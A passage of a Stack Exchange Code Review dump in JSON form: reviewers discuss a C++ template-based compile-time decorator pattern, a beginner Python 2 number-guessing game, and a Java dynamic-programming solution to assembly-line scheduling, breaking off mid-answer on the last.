"body": "shared_ptr, however, has to know how many copies of itself exist and only destruct the object when the count reaches 0 (and it has to 0 out weak_ptr). What complicates it even further is that shared_ptr supports multithreading, meaning incrementing and decrementing the count is not a simple add or sub, but instead requires a much slower atomic add/sub, quite a bit of extra work over unique_ptr's nothing."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T17:19:29.853",
"Id": "82631",
"Score": "0",
"body": "Thanks. Could you elaborate more on (mentioned in the other answer) possible problems with non explicit constructors."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T08:37:22.870",
"Id": "82718",
"Score": "0",
"body": "@jb. I will edit in a more detailed explanation when I have time, but the short version of it is that 1 argument non-explicit constructors allow potentially unexpected conversions to happen at the cost of type safety. For example: `struct S { S(int x); };` and `void f(S s);`. Would you expect `f(3)` to compile? It does because S can be implicitly constructed from an int. In some situations this is very useful and the semantics are pretty natural. In others, it can cause very subtle bugs. Due to the risk for misunderstandings, I tend to always avoid implicit constructors."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:15:59.200",
"Id": "47087",
"ParentId": "47083",
"Score": "7"
}
},
{
"body": "<p>I might have a number of minor stylistic comments but this is not important. What is important is the desired function <code>decorate()</code>:</p>\n\n<pre><code>template <typename S>\nusing result = typename std::result_of <S>::type;\n\ntemplate <template <typename> class E, template <typename> class... D>\nstruct decorate_impl\n{\n template <typename A, typename N = result<decorate_impl<D...>(A)>>\n E<N> operator()(A&& a) const\n {\n return E<N>(decorate_impl<D...>()(std::forward<A>(a)));\n }\n};\n\ntemplate <template <typename> class E>\nstruct decorate_impl <E>\n{\n template <typename A, typename N = typename std::decay<A>::type>\n E<N> operator()(A&& a) const { return E<N>(std::forward<A>(a)); }\n};\n\ntemplate <template <typename> class E, template <typename> class... D, typename A>\nstd::shared_ptr <E<result<decorate_impl<D...>(A)>>)\ndecorate(A&& a)\n{\n return std::make_shared <E<result<decorate_impl<D...>(A)>>>\n (decorate_impl<D...>()(std::forward<A>(a)));\n}\n</code></pre>\n\n<p>which can be used like</p>\n\n<pre><code>std::shared_ptr<XYZScorer> ptr =\n decorate<FixZToFirstInteractionScorer, ApplyEnergyCutsScorer>(scorer);\n</code></pre>\n\n<p>This is very close to the desired syntax (maybe better), generic with respect to number and type of arguments, and inlinable.</p>\n\n<p>Here is a <a href=\"http://coliru.stacked-crooked.com/a/a9a5c3425b18938b\">live example</a>, where I've thrown some arbitrary code to fill in the missing pieces of your code so that the whole thing compiles.</p>\n\n<h2>Attempt 2</h2>\n\n<hr>\n\n<p>I have now realized that the entire approach is wrong. We have a number of class templates and we want to apply them to a given object sequentially, constructing a nested object. To do this, we have a list of the class templates and we ask a single function <code>decorate()</code> to do the entire job for us, using recursion.</p>\n\n<p>This is not right. The class templates themselves should not be used directly. We should have a helper function to wrap a given object into each class individually, exactly what <code>std::make_shared()</code> does for <code>std::shared_ptr</code> (similarly <code>make_tuple</code>, <code>make_pair</code> etc.). So here it is:</p>\n\n<pre><code>template <typename S>\nusing decay = typename std::decay<S>::type;\n\ntemplate <typename S>\nFixZToFirstInteractionScorer<decay<S>> fixZToFirstInteraction(S&& scorer)\n{\n return FixZToFirstInteractionScorer<decay<S>>(std::forward<S>(scorer));\n}\n\ntemplate <typename S>\nApplyEnergyCutsScorer<decay<S>> applyEnergyCuts(S&& scorer)\n{\n return ApplyEnergyCutsScorer<decay<S>>(std::forward<S>(scorer));\n}\n\ntemplate<typename S>\nstd::shared_ptr<decay<S>> share(S&& scorer)\n{\n return std::make_shared<decay<S>>(std::forward<S>(scorer));\n}\n</code></pre>\n\n<p>to be used like</p>\n\n<pre><code>std::shared_ptr<XYZScorer> ptr =\n share(fixZToFirstInteraction(applyEnergyCuts(scorer)));\n</code></pre>\n\n<p>See <a href=\"http://coliru.stacked-crooked.com/a/1914c8fb75210177\">new live example</a>, where I have both approaches and a validation that they produce the same result. In fact, I've discovered a mistake in my first attempt, which I have now corrected.</p>\n\n<p>I think this is cleaner and probably easier to use. Its implementation is easier to understand (it's not so \"magical\" as the first attempt) and certainly easier for the compiler (so, faster to compile). Each object is created at the right time when its type is known, and no recursion is needed to find all unknown return types of deeply nested function calls as with <code>decorate()</code>. Maybe I was carried away by the \"desired syntax\" and didn't see this immediately.</p>\n\n<p>Of course, this means we have to write one more function for each new scorer class template. But all these functions are so small and similar. If we are very lazy we could even write a macro for them.</p>\n\n<p>Note that in this case we are also constructing the outermost <code>Scorer</code> before making the <code>shared_ptr</code>, which we didn't in the first attempt. The reason is that otherwise we would need <em>two</em> functions for each class template, one returning an object on the stack and another a <code>shared_ptr</code>. In case <code>Scorer</code> is a large object, a move constructor will ensure that we don't loose performance with the unnecessary object.</p>\n\n<h2>Attempt 3</h2>\n\n<hr>\n\n<p>Never giving up. <a href=\"http://coliru.stacked-crooked.com/a/b5516d51ba4612b7\">New live example</a>.</p>\n\n<p>Without <code>decorate()</code>, without any helper functions (except <code>share()</code>), just this:</p>\n\n<pre><code>std::shared_ptr<XYZScorer> ptr3 =\n share(FixZToFirstInteractionScorer<ApplyEnergyCutsScorer<Scorer>>(scorer));\n</code></pre>\n\n<p>It just works! Why? <code>FixZToFirstInteractionScorer<ApplyEnergyCutsScorer<Scorer>></code> expects an <code>ApplyEnergyCutsScorer<Scorer></code> argument and we give it just a <code>Scorer</code>. But an <code>ApplyEnergyCutsScorer<Scorer></code> is <em>implicitly</em> constructed from the <code>Scorer</code>. All this happens automatically without touching the code, and will work under arbitrary nesting.</p>\n\n<p>We could even write a new <code>decorate()</code> around this idea, which would be purely metaprogramming now. I may do this, or not.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T22:01:08.747",
"Id": "82499",
"Score": "0",
"body": "Thanks! Would you care to elaborate how it works? Or is it some kind of patter I can read about (if so where)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T22:03:33.287",
"Id": "82502",
"Score": "1",
"body": "Wow. That is some impressive template magic! Wish I could more than +1 this."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T22:09:28.707",
"Id": "82505",
"Score": "0",
"body": "Agree with @Corbin this is mind blowing!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T22:18:43.497",
"Id": "82508",
"Score": "0",
"body": "@jb Well, I don't know where to start elaborating :-) There are a number of techniques being used here. From more to less important, you can look at [variadic templates](http://en.wikipedia.org/wiki/Variadic_templates), [perfect forwarding](http://thbecker.net/articles/rvalue_references/section_07.html), [alias templates](http://en.cppreference.com/w/cpp/language/type_alias), and type traits [`std::result_of`](http://en.cppreference.com/w/cpp/types/result_of), [`std::decay`](http://en.cppreference.com/w/cpp/types/decay). I'll try to add more in the answer tomorrow."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T22:21:45.353",
"Id": "82509",
"Score": "1",
"body": "@jb Also note I've edited the code to make it much simpler than in my original post, and I now use `std::make_shared` as suggested by [Corbin](http://codereview.stackexchange.com/a/47087/39083) (thanks)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T00:16:43.027",
"Id": "82530",
"Score": "1",
"body": "@jb I added another solution which is much simpler, and I think this is the correct one. If you are happy with this, then maybe I am spared from explaining the previous \"magical\" one ;-)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T00:54:02.520",
"Id": "82531",
"Score": "1",
"body": "@jb And a third solution..."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T02:39:40.180",
"Id": "82537",
"Score": "0",
"body": "@iavr Hrmm, do you think giving up explicit type safety is worth the convenience? What if you accidentally pass a Scorer when you think you're passing a ApplyEnergyCutsScorer to a function and one is implicitly created? Not such great behavior then. (I actually should have noticed the non-explicit 1 parameter constructor in my review :/)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T09:21:56.450",
"Id": "82567",
"Score": "0",
"body": "@Corbin I don't know, it depends on class design. In the current design, scorers behave like tuples, in the sense that you can embed one into another. You can have an `S1<S2<S3<S4>>>>` constructed by an `S1<S2<S3<S4>>>>` (copy/move), `S2<S3<S4>>>` (current intent), `S3<S4>>` (implicit), or `S4` (implicit), and you get the same result. With more classes, maybe one should be more careful and make constructors explicit. It depends on whether there are any constraints."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T09:29:38.107",
"Id": "82568",
"Score": "0",
"body": "@Corbin In the previous example, you cannot construct an `S1<S2<S3<S4>>>>` by some unrelated `S6<S5>` or `S5`. You still have this protection, I don't know if this is enough."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T17:30:00.680",
"Id": "82632",
"Score": "0",
"body": "@jb In case you choose solution 3 and you have no problems as discussed with Corbin *and* you prefer the `decorate()` syntax, let me know and I'll write one. It will be simpler than that of solution 1."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T20:54:44.527",
"Id": "82658",
"Score": "0",
"body": "@iavr thank you one more time. Maybe one more clarification --- what is the role of the `share` function? From what I can tell it does nothing more that wrap `make_shared`, but when I tried to use just make_shared but the compiler complained."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T21:04:05.030",
"Id": "82660",
"Score": "0",
"body": "@jb [`std::make_shared`](http://en.cppreference.com/w/cpp/memory/shared_ptr/make_shared) takes as 1st template parameter the type of object to construct. If you already have an object and want to copy/move it, `share()` above takes the type of the given object, strips off references and cv-qualifiers by [`std::decay`](http://en.cppreference.com/w/cpp/types/decay), and if `T` is the raw type, calls `std::make_shared<T>` on the given object. It just makes things slightly simpler as an interface, but takes an additional move operation that is most probably optimized out."
}
],
"meta_data": {
"CommentCount": "13",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:40:18.017",
"Id": "47097",
"ParentId": "47083",
"Score": "11"
}
}
] | {
"AcceptedAnswerId": "47097",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T19:32:33.927",
"Id": "47083",
"Score": "14",
"Tags": [
"c++",
"c++11",
"template",
"template-meta-programming"
],
"Title": "Compile time decorator pattern in C++ with templates"
} | 47083 |
<p>Now that I've got this working, any improvements that I can make to better my code review would be helpful.</p>
<pre><code>import random
import math
import console
console.set_font('Arial-BoldMT',15)
print'Welcome to the guessing game!\nA number will be randomly chosen from 0 to 1000.\nThe player will make a guess, and then the computer will guess. Who ever is closest wins that round!\nFirst to 5 wins!'
rounds = 0
run_again = 'y'
player_wins = 0
computer_wins = 0
draws = 0
while run_again == 'y':
number = random.randint(0,1000)
player_number = input('\nPlayer: ')
computer_number = random.randint(0,1000)
print 'Computer:', computer_number
print 'Number:', number
player_score = math.fabs(player_number - number)
computer_score = math.fabs(computer_number - number)
if player_score>=computer_score:
computer_wins+=1
console.set_color(1.00, 0.00, 0.00)
print 'You lost that round'
console.set_color(0.00, 0.00, 0.00)
if player_score<=computer_score:
player_wins+=1
console.set_color(0.00, 0.00, 1.00)
print 'You won that round'
console.set_color(0.00, 0.00, 0.00)
if player_score==computer_score:
draws+=1
console.set_color(0.00, 1.00, 0.00)
print 'That round was a tie'
console.set_color(0.00, 0.00, 0.00)
rounds +=1
if rounds == 5:
if player_wins > computer_wins:
console.set_color(0.00, 0.00, 1.00)
print '\nYOU WON THE GAME'
console.set_color(0.00, 0.00, 0.00)
break
elif computer_wins > player_wins:
console.set_color(1.00, 0.00, 0.00)
print '\nYOU LOST THE GAME'
console.set_color(0.00, 0.00, 0.00)
break
else:
print "Wrong counts"
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T23:15:14.890",
"Id": "82516",
"Score": "1",
"body": "I would recommend diving into the world of functions. It will help you better organise your sections, and be easier to debug http://codereview.stackexchange.com/questions/46482/bank-atm-program-in-python/46489#46489"
}
] | [
{
"body": "<ol>\n<li><p><code>player_score>=computer_score</code> makes the computer win even when they score the same. A comparison should be <code>></code> instead of <code>>=</code> (same for the next clause).</p></li>\n<li><p>The game, as coded, may terminate early (before reaching 5 rounds). For me, it contradicts the requirements.</p></li>\n<li><p>User input shall be validated (is it really a number?) somehow.</p></li>\n<li><p>I don't know if you covered functions already. If so, factor out all the copy-pastes into functions.</p></li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:34:31.400",
"Id": "47089",
"ParentId": "47086",
"Score": "3"
}
},
{
"body": "<p>I think the biggest thing here is that you need to create some functions and encapsulate stuff.</p>\n\n<h1>Big Points</h1>\n\n<ol>\n<li>Use reusable functions, especially when you find yourself copy-and-pasting code.</li>\n<li>Don't hardcode anything; use constants rather than \"magic numbers\".</li>\n<li>Don't use global variables.</li>\n<li>Wrap it in a <code>main()</code>.</li>\n</ol>\n\n<h1>Specifics</h1>\n\n<p>The minimum and maximum can be constants.</p>\n\n<pre><code>MINIMUM = 0\nMAXIMUM = 1000\n</code></pre>\n\n<p>... Then, all you have to do is change these variables if you want to modify the game in the future:</p>\n\n<pre><code>number = random.randint(MINIMUM, MAXIMUM)\nplayer_guess = input('\\nPlayer: ')\ncomputer_guess = random.randint(MINIMUM, MAXIMUM)\n</code></pre>\n\n<p>Break up the big multi-line message at the beginning rather than having it stretch on for 200 characters. (Purists will still say that the implemenation below has the second line too long, as the Python standard is to have no line exceeding 80 characters, but you get the idea.)</p>\n\n<pre><code>print 'Welcome to the guessing game!'\nprint 'A number will be randomly chosen from ' + str(MINIMUM) + ' to ' + str(MAXIMUM)\nprint 'The player will make a guess, and then the computer will guess.'\nprint 'Whoever is closest wins that round!'\nprint 'First to 5 wins!'\n</code></pre>\n\n<p>You can have <code>run_again</code> directly store whether or not to run again (i.e., a boolean value) rather than a character. This lets you check directly against it:</p>\n\n<pre><code>run_again = True\n// ... then, elsewhere ...\nif run_again:\n //do stuff\n</code></pre>\n\n<p>You can encapsulate the entire \"guessing round\" of the game into its own function which then returns whether or not the player won. This will let you have a bit more control over your code structure:</p>\n\n<pre><code>def perform_guessing(number):\n player_guess = input('\\nPlayer: ')\n computer_guess = random.randint(MINIMUM, MAXIMUM)\n print 'Computer: ' + str(computer_guess)\n print 'Number: ' + str(number)\n player_score = math.fabs(player_guess - number)\n computer_score = math.fabs(computer_guess - number)\n return player_score < computer_score\n</code></pre>\n\n<p>This will now return <code>True</code> if the player has won the round, so we can use it as such:</p>\n\n<pre><code>while run_again:\n if perform_guessing(random.randint(MINIMUM, MAXIMUM)):\n player_wins += 1\n console.set_color(0.00, 0.00, 1.00)\n print 'You won that round'\n console.set_color(0.00, 0.00, 0.00)\n else:\n computer_wins += 1\n console.set_color(1.00, 0.00, 0.00)\n print 'You lost that round'\n console.set_color(0.00, 0.00, 0.00)\n</code></pre>\n\n<p>(Note that in your code, it's actually impossible for a draw to occur, since you check both of the winning conditions with <code><=</code> and <code>>=</code>, meaning that the <code>==</code> condition will be caught in one of those. This may be a bug in your program. :) )</p>\n\n<p>I might even make a <code>color_print</code> function to avoid some copy-and-pasting:</p>\n\n<pre><code>def color_print(text, r, g, b):\n console.set_color(r, g, b)\n print text\n console.set_color(0.00, 0.00, 0.00)\n</code></pre>\n\n<p>This would reduce our code above to:</p>\n\n<pre><code>while run_again:\n if perform_guessing(random.randint(MINIMUM, MAXIMUM)):\n player_wins += 1\n color_print('You won that round!', 0.0, 0.0, 1.0)\n else:\n computer_wins += 1\n color_print('You lost that round.', 1.0, 0.0, 0.0)\n</code></pre>\n\n<p>(I don't actually know what the three decimal values represent when you're setting the console color. If they're not RGB, you can rename them accordingly. But you get the idea.)</p>\n\n<p>Finally, it's standard to encapsulate your functionality into a <code>def main()</code> and call it like so:</p>\n\n<pre><code>if __name__ == '__main__':\n main()\n</code></pre>\n\n<p>This lets you load you <code>import</code> things from this file into another file later without it actually executing.</p>\n\n<hr>\n\n<p>Putting it all together, we get something that looks like this. If it were me, I'd probably further specify the <code>color_print</code> function so that you could pass in something like <code>Color.RED</code> or <code>Color.YELLOW</code> rather than the three decimals, but that can be for a future release, haha. There's some further encapsulation you could do to make the code still more elegant and readable, but I leave that as an exercise to the reader.</p>\n\n<pre><code>import random\nimport math\nimport console\n\nMINIMUM = 0\nMAXIMUM = 1000\nFONT = 'Arial-BoldMT'\nFONT_SIZE = 15\n\ndef perform_guessing(number):\n player_guess = input('\\nPlayer: ')\n computer_guess = random.randint(MINIMUM, MAXIMUM)\n print 'Computer: ' + str(computer_guess)\n print 'Number: ' + str(number)\n player_score = math.fabs(player_guess - number)\n computer_score = math.fabs(computer_guess - number)\n return player_score < computer_score\n\ndef color_print(text, r, g, b):\n console.set_color(r, g, b)\n print text\n console.set_color(0.00, 0.00, 0.00)\n\ndef main():\n console.set_font(FONT, FONT_SIZE)\n print 'Welcome to the guessing game!'\n print 'A number will be randomly chosen from ' + str(MINIMUM) + ' to ' + str(MAXIMUM)\n print 'The player will make a guess, and then the computer will guess.'\n print 'Whoever is closest wins that round!'\n print 'First to 5 wins!'\n run_again = True\n player_wins = 0\n computer_wins = 0\n rounds = 0\n while run_again:\n rounds += 1\n if perform_guessing(random.randint(MINIMUM, MAXIMUM)):\n player_wins += 1\n color_print('You won that round!', 0.0, 0.0, 1.0)\n else:\n computer_wins += 1\n color_print('You lost that round.', 1.0, 0.0, 0.0)\n if rounds == 5:\n if player_wins > computer_wins:\n color_print('YOU WON THE GAME!', 0.0, 0.0, 1.0)\n else:\n color_print('YOU LOST THE GAME', 1.0, 0.0, 0.0)\n rounds = 0\n player_wins = 0\n computer_wins = 0\n\nif __name__ == '__main__':\n main()\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T23:10:45.140",
"Id": "82847",
"Score": "0",
"body": "Do you really need to cast those constants to strings? Doesn't adding to a string do that already? Alteratively, you could use [string interpolation](https://docs.python.org/2/library/stdtypes.html#string-formatting-operations): `print '... from %s to %s' % (MINIMUM, MAXIMUM)`"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T23:12:32.777",
"Id": "82849",
"Score": "0",
"body": "@DavidHarkness Pretty sure it doesn't automatically cast them to strings. I have Python 3 installed and it doesn't cast implicitly under that. Don't have Python 2.7 to test on."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T01:23:06.883",
"Id": "82863",
"Score": "0",
"body": "Bummer. The string interpolation should, though. The `%s` should be `%d` to handle integers. It's been some years since I last wrote Python."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T15:04:20.960",
"Id": "82963",
"Score": "0",
"body": "Normally people would write `print '... from', MINIMUM, 'to', MAXIMUM` for this if they wanted to avoid `%` or `.format`."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T22:20:07.570",
"Id": "47295",
"ParentId": "47086",
"Score": "8"
}
},
{
"body": "<p>Continuing from where Jeff Gohlke left off:</p>\n\n<pre><code>def perform_guessing(number):\n player_guess = input('\\nPlayer: ')\n</code></pre>\n\n<p>You're on Python 2, so this should be <code>int(raw_input(...))</code></p>\n\n<pre><code> computer_guess = random.randint(MINIMUM, MAXIMUM)\n print 'Computer: ' + str(computer_guess)\n print 'Number: ' + str(number)\n</code></pre>\n\n<p>These can be formatted like so:</p>\n\n<pre><code> print 'Computer:', computer_guess\n print 'Number:', number\n</code></pre>\n\n<p>Then</p>\n\n<pre><code> player_score = math.fabs(player_guess - number)\n computer_score = math.fabs(computer_guess - number)\n</code></pre>\n\n<p>There's no reason to use <code>math.fabs</code> over <code>abs</code> here.</p>\n\n<pre><code> player_score = abs(player_guess - number)\n computer_score = abs(computer_guess - number)\n</code></pre>\n\n<p>Then, later</p>\n\n<pre><code> print 'A number will be randomly chosen from ' + str(MINIMUM) + ' to ' + str(MAXIMUM)\n</code></pre>\n\n<p>Again, <code>print 'A number will be randomly chosen from', MINIMUM, 'to', MAXIMUM</code>.</p>\n\n<p>[...]</p>\n\n<p>Then your loop.</p>\n\n<pre><code> run_again = True\n</code></pre>\n\n<p>You never use this... Remove it.</p>\n\n<pre><code> player_wins = 0\n computer_wins = 0\n</code></pre>\n\n<p>That's fine</p>\n\n<pre><code> rounds = 0\n while run_again:\n rounds += 1\n</code></pre>\n\n<p>You want 5 rounds, so make this a loop:</p>\n\n<pre><code> for round in range(5):\n</code></pre>\n\n<p>Note that I removed the plurality because it sounds wrong. Some people would be more worried about shaddowing the built-in <code>round</code>, but I don't agree in this case.</p>\n\n<p>And then just move this block to after the loop:</p>\n\n<pre><code> if rounds == 5:\n [...]\n</code></pre>\n\n<p>to just</p>\n\n<pre><code> if player_wins > computer_wins:\n color_print('YOU WON THE GAME!', 0.0, 0.0, 1.0)\n else:\n color_print('YOU LOST THE GAME', 1.0, 0.0, 0.0)\n</code></pre>\n\n<p>And this</p>\n\n<pre><code> rounds = 0\n player_wins = 0\n computer_wins = 0\n</code></pre>\n\n<p>is pointless, so remove it.</p>\n\n<p>This change allows you to add short-circuit logic:</p>\n\n<pre><code> if player_wins >= 3 or computer_wins >= 3:\n break\n</code></pre>\n\n<p>Finally you have:</p>\n\n<pre><code>import random\nimport console\n\nMINIMUM = 0\nMAXIMUM = 1000\nFONT = 'Arial-BoldMT'\nFONT_SIZE = 15\n\ndef perform_guessing(number):\n player_guess = int(raw_input('\\nPlayer: '))\n computer_guess = random.randint(MINIMUM, MAXIMUM)\n\n print 'Computer:', computer_guess\n print 'Number:', number\n\n player_score = abs(player_guess - number)\n computer_score = abs(computer_guess - number)\n return player_score < computer_score\n\ndef color_print(text, r, g, b):\n console.set_color(r, g, b)\n print text\n console.set_color(0.00, 0.00, 0.00)\n\ndef main():\n console.set_font(FONT, FONT_SIZE)\n\n print 'Welcome to the guessing game!'\n print 'A number will be randomly chosen from', MINIMUM, 'to', MAXIMUM\n print 'The player will make a guess, and then the computer will guess.'\n print 'Whoever is closest wins that round!'\n print 'First to 5 wins!'\n\n player_wins = 0\n computer_wins = 0\n\n for rounds in range(5):\n if perform_guessing(random.randint(MINIMUM, MAXIMUM)):\n player_wins += 1\n color_print('You won that round!', 0.0, 0.0, 1.0)\n\n else:\n computer_wins += 1\n color_print('You lost that round.', 1.0, 0.0, 0.0)\n\n if player_wins >= 3 or computer_wins >= 3:\n break\n\n if player_wins > computer_wins:\n color_print('YOU WON THE GAME!', 0.0, 0.0, 1.0)\n else:\n color_print('YOU LOST THE GAME', 1.0, 0.0, 0.0)\n\nif __name__ == '__main__':\n main()\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T15:29:40.570",
"Id": "47356",
"ParentId": "47086",
"Score": "4"
}
},
{
"body": "<blockquote>\n <p>You're on Python 2, so this should be int(raw_input(...))</p>\n</blockquote>\n\n<p>Or even</p>\n\n<pre><code>player_guess = None\nwhile player_guess is None:\n try:\n player_guess = int(raw_input(...))\n except ValueError:\n print(\"Sorry, '%s' cannot be converted to int. Please try again.\")\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T11:13:20.500",
"Id": "47459",
"ParentId": "47086",
"Score": "1"
}
},
{
"body": "<h1><strong>Use Modules</strong></h1>\n\n<p>Use <code>def</code> instead of looping in the while loop so you can call it again at a different stage if needed. For example</p>\n\n<pre><code>def main():\n #code here\n return #return value\n</code></pre>\n\n<h1><strong>Use Try/Except</strong></h1>\n\n<pre><code>try:\n #code here\n\nexcept:\n #error code here\n</code></pre>\n\n<p>to catch any errors and prevent the programme from crashing.</p>\n\n<h1><strong>Tweak</strong></h1>\n\n<p>A small tweak I would also do is put everything that is printed in brackets like</p>\n\n<pre><code>print(\"text here\")\n</code></pre>\n\n<p>rather than</p>\n\n<pre><code>print \"text here\"\n</code></pre>\n\n<p>1) it makes better reading </p>\n\n<p>2) allows python 3.0 users to use it inside the python shell</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-30T16:01:57.297",
"Id": "48591",
"ParentId": "47086",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": "47295",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:11:59.600",
"Id": "47086",
"Score": "6",
"Tags": [
"python",
"beginner",
"game",
"python-2.x",
"number-guessing-game"
],
"Title": "Guessing Game in Python"
} | 47086 |
<p>This is solution to the assembly line problem. <a href="http://www.geeksforgeeks.org/dynamic-programming-set-34-assembly-line-scheduling/" rel="noreferrer">Here</a> is complete description, which is too big and verbose to re-describe. I apologize for the inconvenience of the hyperlink.</p>
<p>Note: I do understand merits of unit testing in separate files. But deliberately added it to main method for personal convenience, so I request that you not consider that in your feedback.</p>
<p>I'm looking for request code review, optimizations and best practices.</p>
<pre><code>final class Station {
private final int stationTime;
private final int transtionToTime; // time to transition`to` this station
private final int transitionFromTime; // time to transitition `from` this station.
public Station(int stationTime, int transitionTime, int transitionFromTime) {
this.stationTime = stationTime;
this.transtionToTime = transitionTime;
this.transitionFromTime = transitionFromTime;
}
public int getStationTime() {
return stationTime;
}
public int getTransitionToTime() {
return transtionToTime;
}
public int getTransitionFromTime() {
return transitionFromTime;
}
}
public final class AssemblyLine {
private AssemblyLine() {}
/**
* Given an assembly line, outputs the shortest time needed to go through it.
* The input data structures are not expected to be changed by client.
*
* @param line1 the assembly line 1
* @param line2 the assumbly line 2
* @return the minumum time needed to process the item.
*/
public static int assemblyLineShortestTime(List<Station> line1, List<Station> line2) {
int prevLine1Min = line1.get(0).getStationTime() + line1.get(0).getTransitionToTime();
int prevLine2Min = line2.get(0).getStationTime() + line2.get(0).getTransitionToTime();
for (int i = 1; i < line1.size(); i++) {
int currentLine1Min = line1.get(i).getStationTime() + Math.min(prevLine1Min, prevLine2Min + line1.get(i).getTransitionToTime());
int currentLine2Min = line2.get(i).getStationTime() + Math.min(prevLine1Min + line2.get(i).getTransitionToTime(), prevLine2Min);
prevLine1Min = currentLine1Min;
prevLine2Min = currentLine2Min;
}
return Math.min(prevLine1Min + line1.get(line1.size() - 1).getTransitionFromTime(), prevLine2Min + line2.get(line2.size() - 1).getTransitionFromTime());
}
public static void main(String[] args) {
List<Station> line1 = new ArrayList<Station>();
line1.add(new Station(4, 10, 7));
line1.add(new Station(5, 9, 4));
line1.add(new Station(3, 2, 5));
line1.add(new Station(2, 8, 18));
List<Station> line2 = new ArrayList<Station>();
line2.add(new Station( 2, 12, 9));
line2.add(new Station(10, 7, 2));
line2.add(new Station( 1, 4, 8));
line2.add(new Station( 4, 5, 7));
assertEquals(35, assemblyLineShortestTime(line1, line2));
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:46:54.607",
"Id": "82468",
"Score": "0",
"body": "I think you misunderstood the problem statement given that you assign two transition times for each station. There's only one transition time per station per line: the time it would take to switch lines. Also, each line has an entry and exit time cost. Perhaps you tried to shoehorn them into the transition times?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:49:56.020",
"Id": "82470",
"Score": "0",
"body": "yes i did shoehorn, but resulting data structure looked reasonable. if its a concern, then I would say its a valuable feedback."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:51:57.067",
"Id": "82471",
"Score": "0",
"body": "Rereading your implementation, it does seem you captured the requirements correctly."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T11:41:05.020",
"Id": "82574",
"Score": "1",
"body": "\" for personal convenience\" It took me less time than writing this comment to (add new package + add new test suite + copy&paste + fix import errors). If you don't have multiple tests how would you know what repeated across *tests*, therefore what to extract, therefore mitigate design flaws..."
}
] | [
{
"body": "<p>The code implementing the core algorithm is very cumbersome. This is partly due to shoehorning the line entry/exit times into the first/last stations as evidenced by some internal stations in your tests having unusable exit times. But the code duplication doesn't help either.</p>\n\n<blockquote>\n <p><strong>Note:</strong> The diagram shows the transition time belonging to the station being transitioned <em>from</em>. Your code uses the transition time from the station on the other line. I'm going with the diagram as it seems cleaner to me.</p>\n</blockquote>\n\n<p>Store the current stations into local variables to avoid having to read <code>.get(0)</code> and <code>.get(i)</code> many times. Also, when you name variables identically except for <code>1</code> and <code>2</code> (unavoidable in this method), don't hide the numbers in the middle of the names. Finally, since all these time-based local variables are for line X and track minimum times, drop <code>Line</code> and <code>Min</code> from their names.</p>\n\n<pre><code>public static int assemblyLineShortestTime(List<Station> line1, List<Station> line2) {\n return assemblyLineShortestTime(line1.iterator(), line2.iterator());\n}\n\nprivate static int assemblyLineShortestTime(Iterator<Station> line1, Iterator<Station> line2) {\n Station station1 = line1.next();\n Station station2 = line2.next();\n int prev1 = station1.getStationTime() + station1.getTransitionToTime(); \n int prev2 = station2.getStationTime() + station2.getTransitionToTime(); \n while (line1.hasNext()) {\n station1 = line1.next();\n station2 = line2.next();\n int curr1 = station1.getStationTime() + Math.min(prev1, prev2 + station2.getTransitionToTime());\n int curr2 = station2.getStationTime() + Math.min(prev2, prev1 + station1.getTransitionToTime());\n\n prev1 = curr1;\n prev2 = curr2;\n }\n return Math.min(prev1 + station1.getTransitionFromTime(), prev2 + station2.getTransitionFromTime()); \n}\n</code></pre>\n\n<p>While the code duplication seems much worse with those temporary variables, the logic is more apparent to me. The real problem is that there's no logic inside <code>Station</code>. 